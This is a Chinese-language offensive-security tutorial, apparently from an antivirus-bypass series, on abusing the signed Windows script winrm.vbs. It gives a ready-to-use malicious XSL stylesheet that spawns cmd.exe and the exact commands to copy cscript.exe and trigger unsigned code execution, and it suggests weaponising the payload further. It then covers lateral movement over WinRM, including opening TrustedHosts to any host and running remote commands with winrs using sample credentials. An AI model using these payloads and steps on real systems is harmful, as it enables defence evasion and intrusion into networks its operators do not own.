声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus
winrm.vbs(System32中的Windows签名脚本)能够使用和执行攻击者控制的XSL,而XSL不受“enlightened script host”的限制,导致任意的、无签名的代码执行。
winrm.vbs文件位置:
C:\windows\system32\winrm.vbs
C:\windows\SysWOW64\winrm.vbs
当向winrm.vbs提供“-format:pretty”
或“-format:text”
参数时,它会将WsmPty.xsl
或WsmTxt.xsl
分别从cscript.exe
所在的目录中取出。这意味着,如果攻击者将cscript.exe复制到攻击者控制的恶意XSL所在的位置,则将执行任意未签名代码。这个问题实际上与Casey Smith的wmic.exe技术完全相同。
工作流程如下:
1、将恶意的WsmPty.xsl或WsmTxt.xsl放置到攻击者控制的位置。
2、将cscript.exe(或使用wcript.exe和后面描述的技巧)复制到同一位置。
3、执行winrm.vbs,使用“-format”开关,指定“pretty”或“text”,具体取决于哪个.XSL文件被删除,WsmPty.xsl或 WsmTxt.xsl。
下面是一个“恶意”XSL的例子,它可以放置到攻击者控制的目录中(在这个例子中,是在C:BypassDir/WsmPty.xsl中):
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"></output>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
WsmPty.xsl的正确武器化可能包括嵌入式DotNetToJScript payload,从而导致执行任意的未签名代码。
mkdir %SystemDrive%BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%BypassDir
%SystemDrive%BypassDir\cscript.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
效果如图:
前提:必须处于同一域内的两台计算机
Web服务管理协议(WS-Management,Web Services-Management)是一种基于SOAP协议的DMTF开放标准,用于对服务器等网络设备以及各种Web应用程序进行管理。而WinRM(Windows Remote Management)是Windows对WS-Management的实现,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。并且WinRM服务自Windows Vista开始成为Windows的默认组件,在运行与启动上有以下几个特点:
quickconfig
对WinRM进行配置后,Windows将开启监听并打开HTTP及HTTPS监听端口,同时Windows防火墙生成这两个端口的例外。WinRM的组件主要由以下几部分构成:
关于WinRM环境的配置可以参考:https://docs.microsoft.com/en-us/windows/win32/winrm/installation-and-configuration-for-windows-remote-management
配置步骤:
1、在命令行中执行winrm quickconfig
对WinRM进行首次(默认)配置;
2、WinRM服务已经开始监听5985/TCP(WinRM2.0开始,WinRM服务的HTTP默认监听端口由原来的80/TCP变更为5985/TCP)端口并等待远程主机进行访问,通过winrm enumerate winrm/config/listener
查看WinRM服务当前的配置情况:
3、以此配置为例,此时远程主机已经可以通过WS-Management协议访问http://172.16.111.145/wsman连接当前服务器的WinRM服务。不过,WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问。
因此在连接之前,还需要确保发起连接的主机与当前服务器处于同一域或者两台主机的WinRM服务TrustedHosts中必须存在对方主机的IP或主机名,这里类似于一个白名单机制。我们可以执行winrm set winrm/config/client @{TrustedHosts="*"}
手动配置当前服务器允许被任意主机连接:
4、在本地Windows主机上也进行相同的设置,允许连接任意Windows主机。接着,使用winrs客户端连接这台Windows服务器即可直接执行系统命令,例如运行winrs -r:http://10.0.83.30:5985 -u:administrator -p:123456 ipconfig
得到网络配置信息:
在winrm.vbs的参数选项中有一个invoke
参数,此操作允许使用WinRM对目标对象执行特定的方法。执行命令winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"}
将会在本地弹出计算器:
http://sunu11.com/2019/09/02/Command%20execution%20under%20windows/
https://github.com/api0cradle/LOLBAS/blob/3ea62e5e06a980d31412954210064cf0394700fa/OSScripts/Winrm.md
https://www.anquanke.com/post/id/151711
https://0x0c.cc/2019/09/25/%E5%86%85%E7%BD%91%E6%A8%AA%E7%A7%BB%E4%B9%8BWinRM/
https://www.anquanke.com/post/id/151711